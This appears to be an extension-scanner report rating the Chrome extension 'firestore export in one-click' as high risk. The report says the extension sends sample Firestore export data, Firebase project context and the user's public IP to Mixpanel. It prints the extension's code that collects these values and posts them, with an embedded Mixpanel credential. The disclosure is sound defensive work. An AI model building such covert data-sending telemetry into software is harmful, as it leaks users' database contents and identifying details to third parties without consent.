Is firestore export in one-click safe?

High risk

firestore export in one-click sends sample Firestore export data and Firebase context to Mixpanel during exports.

When a user exports Firestore data from the Firebase console, the extension sends an analytics event that can include a sample row, a sample document, query and scope details, license fields, and counts from the export. Its background script adds the current Firebase URL, page title, tab/screen metadata, and a public IP lookup before posting the event to Mixpanel.

Jerry Babav1.4.8Chrome Web Store
72Risk
Who publishes it

Jerry Baba - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Jerry Baba

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Firestore export sample data sent to Mixpanel

Exporting Firestore data from the Firebase console sends a Mixpanel event with a sample exported row and cached document, plus the console URL, page title, screen size, IP, query/scope context, license fields, and instance ID if available.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You run the extension's Firestore export from the Firebase console.

The code path is limited to Firebase console Firestore query pages.

The extension did this

The extension sends an export analytics event containing sample Firestore data and Firebase project context.

The background worker adds the current tab URL, page title, screen size, public IP address, operating system, extension version, and an event identifier.

Fields attached to the export analytics event
  • Sample exported row
    sample_row: {"Document ID":"customer-42","email":"alice@example.com","plan":"enterprise"} (illustrative)

    One row from the Firestore export can reveal field names and values from the database you are exporting.

  • Sample cached document
    sample_document: {"status":"active","lastInvoiceTotal":12900} (illustrative)

    One cached Firestore document can include values that were not visible in the table row format.

  • Export counts
    count_table: 250, count_cache: 248, count_noCache: 2, count_partial: 3 (illustrative)

    Counts describe how much data was visible, cached, missing, or partially filled during the export.

  • Firebase console location
    https://console.firebase.google.com/project/acme-prod/firestore/databases/-default-/data?view=query-view&scopeName=/customers (illustrative)

    The current console URL, query, and scope can identify the Firebase project and collection being exported.

  • License and instance context
    licenseKey: firexport-license-key, instanceId: 7f6f04b9-4c95-42ec-9a18-6c686530fef8 (illustrative)

    License and instance values can link multiple export events to the same extension installation or customer account.

  • Browser and network context
    current_page_title: Cloud Firestore - Firebase console, ip: 203.0.113.42, $screen_width: 1920 (illustrative)

    The page title, screen size, operating system, extension version, and public IP add device and network context to the export event.

Captured request
POSThttps://api.mixpanel.com/import?strict=1

Confirmed export event request to Mixpanel import endpoint; the evidence records event=export and sample_row or sample_document properties.

Headers
accept
application/json
Content-Type
application/json
authorization
Basic <redacted>
The code that does this

The export callback attaches Firestore samples, and the background worker posts them to Mixpanel

Readable version

Runtime message wrapper used by the content script

content-scripts/button.js
async function trackEvent(eventName, props) {  const response = await chrome.runtime.sendMessage({    type: "track",    data: { event: eventName, props }  });  if (response.error) {    console.log(response.error);  }}

Export callback sends sample_row and sample_document

content-scripts/button.js
const onExport = React.useCallback(async ({ format, isTrial = false }) => {  if (license === undefined || isCaching) {    return;  }  setIsExporting(true);  try {    const startedAt = Date.now();    const tableRows = await readAllTableRows();    if (tableRows.length <= 0) {      alert("No data to export");      return;    }    const missingCachePaths = [];    const partialCachePaths = [];    const mergedRows = tableRows.map((row) => {      const documentId = row["Document ID"];      let documentPath;      if (scopeType === "collection_group") {        documentPath = documentId;      } else {        let baseScope = scopeName;        if (!baseScope.startsWith("/")) baseScope = `/${baseScope}`;        if (baseScope.endsWith("/")) baseScope = baseScope.slice(0, -1);        documentPath = `${baseScope}/${documentId}`;      }      const cachedDocument = cache[documentPath];      if (!cachedDocument) {        missingCachePaths.push(documentPath);        return row;      }      let partial = false;      const mergedRow = Object.entries(row).reduce((nextRow, [field, value]) => {        if (cachedDocument[field] === undefined) {          if (field !== "Document ID") partial = true;          return { ...nextRow, [field]: value };        }        return { ...nextRow, [field]: cachedDocument[field] };      }, {});      if (partial) partialCachePaths.push(documentPath);      return mergedRow;    });    const exportedRows = license ? mergedRows : isTrial ? [...mergedRows.slice(0, 100), ...tableRows.slice(100)] : tableRows;    const fileTimestamp = Date.now();    const licenseTier = license ? "advanced" : isTrial ? "trial" : "basic";    if (format === "csv") {      downloadCsv(exportedRows, `firexport_${licenseTier}_${fileTimestamp}.csv`);    } else {      downloadJson(exportedRows, `firexport_${licenseTier}_${fileTimestamp}.json`);    }    if (license && missingCachePaths.length > 0) {      downloadErrorFile(missingCachePaths, `firexport_error_${fileTimestamp}.txt`);    }    const finishedAt = Date.now();    const firstDocumentId = tableRows.at(0)?.["Document ID"] ?? "noId";    let samplePath;    if (scopeType === "collection_group") {      samplePath = firstDocumentId;    } else {      let baseScope = scopeName;      if (!baseScope.startsWith("/")) baseScope = `/${baseScope}`;      if (baseScope.endsWith("/")) baseScope = baseScope.slice(0, -1);      samplePath = `${baseScope}/${firstDocumentId}`;    }    trackEvent("export", {      count_table: tableRows.length,      count_cache: Object.keys(cache).length,      count_noCache: missingCachePaths.length,      count_partial: partialCachePaths.length,      sample_row: tableRows.at(0) ?? {},      sample_document: cache[samplePath] ?? {},      format,      licenseKey: license?.licenseKey ?? null,      instanceId: license?.instanceId ?? null,      duration: (finishedAt - startedAt) / 1000,      query,      scopeType,      scopeName,      isTrial    });  } catch (error) {    console.log(error);    alert("fail to export");    if (error instanceof Error) {      trackEvent("error", { message: `${error.name}: ${error.message}` });    }  } finally {    setIsExporting(false);  }}, [cache, license, isCaching, query, scopeType, scopeName]);

Background worker posts the event to Mixpanel and adds IP/tab context

background.js
const MIXPANEL_BASE_URL = "https://api.mixpanel.com";async function sendMixpanelEvent(eventName, props) {  const authorization = btoa("e97982179e97b1493bfae9a5c027157b:");  const insertId = makeInsertId();  const [platformInfo, manifest, publicIp] = await Promise.all([    chrome.runtime.getPlatformInfo(),    chrome.runtime.getManifest(),    getPublicIp()  ]);  const time = Date.now();  let projectId;  if (props.projectId) {    projectId = props.projectId;  } else if (props.$current_url) {    try {      const pathParts = new URL(props.$current_url).pathname.split("/");      const projectIndex = pathParts.indexOf("project");      if (projectIndex !== -1 && pathParts[projectIndex + 1]) {        projectId = pathParts[projectIndex + 1];      }    } catch {      projectId = undefined;    }  }  const request = {    method: "POST",    headers: {      "Content-Type": "application/json",      accept: "application/json",      authorization: `Basic ${authorization}`    },    body: JSON.stringify([{      event: eventName,      properties: {        ...props,        time,        distinct_id: projectId || crypto.randomUUID(),        ip: publicIp,        $insert_id: insertId,        $os: platformInfo.os,        $lib_version: manifest.version      }    }])  };  await fetch(`${MIXPANEL_BASE_URL}/import?strict=1`, request);}async function getPublicIp() {  const ipRequest = fetch("https://api.ipify.org/?format=json")    .then((response) => response.json())    .then((body) => body.ip);  const timeout = new Promise((resolve) => setTimeout(() => resolve(""), 1000));  return await Promise.race([ipRequest, timeout]);}function makeInsertId() {  return Math.random().toString(36).substring(2, 10) + Math.random().toString(36).substring(2, 10);}const handlers = {  async track(message, sender) {    if (!sender.tab) return;    const { event } = message;    if (typeof event !== "string") {      throw new Error("no event name");    }    const props = message.props ?? {};    await sendMixpanelEvent(event, {      ...props,      $current_url: sender.tab.url,      current_page_title: sender.tab.title,      $screen_height: sender.tab.height,      $screen_width: sender.tab.width    });  }};
External services used by the export telemetry path
    • api.mixpanel.com

    Receives the export analytics event with sample Firestore data, Firebase console context, tab metadata, public IP, operating system, extension version, and event identifiers.

    • api.ipify.org

    Receives a public-IP lookup request from the background worker before the Mixpanel event is built.

What it can do

Permissions this extension asks for, as declared in version 1.3.9. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.4.8, which we have not unpacked yet.

  • Read and change your data on api.mixpanel.com

    https://api.mixpanel.com/*

  • Read and change your data on api.lemonsqueezy.com

    https://api.lemonsqueezy.com/*

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed firestore export in one-click contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.ipify.orgwidely used

    firestore export in one-click sends data to api.ipify.org. A widely used service: 41 other extensions we have analysed send data here.

  • api.mixpanel.comwidely used

    firestore export in one-click sends data to api.mixpanel.com. A widely used service: 35 other extensions we have analysed send data here.

Updated 30 September 2026jffbbophhgjoholadeeehbkecddgajhc